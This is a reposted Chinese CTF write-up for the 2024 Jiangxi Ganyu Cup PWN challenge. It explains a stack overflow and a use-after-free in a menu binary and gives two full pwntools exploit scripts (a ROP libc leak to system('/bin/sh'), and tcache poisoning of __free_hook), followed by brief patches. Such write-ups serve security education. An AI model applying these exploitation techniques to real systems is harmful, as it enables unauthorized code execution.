2024江西省赣育杯决赛---PWN

admin 2024年11月12日15:00:29评论9 views字数 2214阅读7分22秒阅读模式

break   

第一个漏洞  

首先进行代码审计,发现是一个菜单程序

2024江西省赣育杯决赛---PWN

第一个漏洞是在我们my_read的函数,我们进入会发现是一个栈溢出的漏洞

2024江西省赣育杯决赛---PWN    

2024江西省赣育杯决赛---PWN

利用思路:

首先通过栈溢出,泄露libc的地址,然后再跳回,在写rop链

完整的exp

from pwn import *            elf = ELF("./pwn")            context(arch=elf.arch, os=elf.os)            context.log_level = 'debug'            libc = ELF('./libc.so.6')            url='192.168.80.134'            port=30400            if flag:                p = process(elf.path)            else:                p = remote(url,port)            sa = lambda x,y:p.sendafter(x,y)            sla = lambda x,y:p.sendlineafter(x,y)            it = lambda : p.interactive()            uu32 = lambda : u32(p.recvuntil('xff')[-4:].ljust(4,'x00'))            uu64 = lambda : u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))            ru = lambda x :p.recvuntil(x)            rc = lambda x :p.recv(x)            sd = lambda x:p.send(x)            sl = lambda x:p.sendline(x)            lg = lambda s : log.info('x1b[01;38;5;214m %s --> 0x%x 33[0m' % (s, eval(s)))            puts_got=elf.sym['puts']            puts_plt=0x0401144            pop_rdi=0x0000000000402af3 #: pop rdi ; ret            ret=0x000000000040101a #: ret            read=0x04023F7            pay='a'*0x20+p64(0)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read)            sla('choice:',pay)            libc.address=uu64()-libc.sym['puts']            lg('libc.address')            pay='a'*0x20+p64(0)+p64(ret)+p64(pop_rdi)+p64(libc.search('/bin/shx00').next())+p64(libc.sym['system'])            sl(pay)            it()   

第二个漏洞  

这个漏洞是一个uaf漏洞    

2024江西省赣育杯决赛---PWN

我们直接用tear bin poisoningche方法打既可以

2024江西省赣育杯决赛---PWN

完整的exp

from pwn import *            elf = ELF("./pwn")            context(arch=elf.arch, os=elf.os)            context.log_level = 'debug'            libc = ELF('./libc.so.6')            flag=1            url='192.168.80.134'            port=30373            if flag:                p = process(elf.path)            else:                p = remote(url,port)            sa = lambda x,y:p.sendafter(x,y)            sla = lambda x,y:p.sendlineafter(x,y)            it = lambda : p.interactive()            uu32 = lambda : u32(p.recvuntil('xff')[-4:].ljust(4,'x00'))            uu64 = lambda : u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))            ru = lambda x :p.recvuntil(x)            rc = lambda x :p.recv(x)            sd = lambda x:p.send(x)            sl = lambda x:p.sendline(x)            lg = lambda s : log.info('x1b[01;38;5;214m %s --> 0x%x 33[0m' % (s, eval(s)))            def cmd(cmd):                sla('hoice:',str(cmd))            def add(size):                cmd(1)                sla('Size:',str(size))            def show(idx):                cmd(2)                sla("index:",str(idx))            def edit(idx,msg):                cmd(3)                sla('index:',str(idx))                sa('Data: n',msg)            def free(idx):                cmd(4)                sla("index:", str(idx))            add(0x410)#0            add(0x78)#1            free(0)            show(0)            ru('Data:')            libc.address=uu64()-0x1ecbe0            lg('libc.address')            add(0x78)#2            add(0x78)#3            add(0x78)#4            free(2)            free(3)            edit(3,p64(libc.sym['__free_hook']))            add(0x78)#5            add(0x78)#6            edit(6,p64(libc.sym['system']))            edit(1,'/bin/shx00')            free(1)            sl('cat flag')            gdb.attach(p)            it()

fix  

第一个  

我们直接将读入的数改小

2024江西省赣育杯决赛---PWN

第二个  

我们将uaf修复就可以

2024江西省赣育杯决赛---PWN

2024江西省赣育杯决赛---PWN

原文始发于微信公众号(Undefin3d安全团队):2024江西省赣育杯决赛---PWN

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月12日15:00:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2024江西省赣育杯决赛---PWNhttps://cn-sec.com/archives/3386090.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息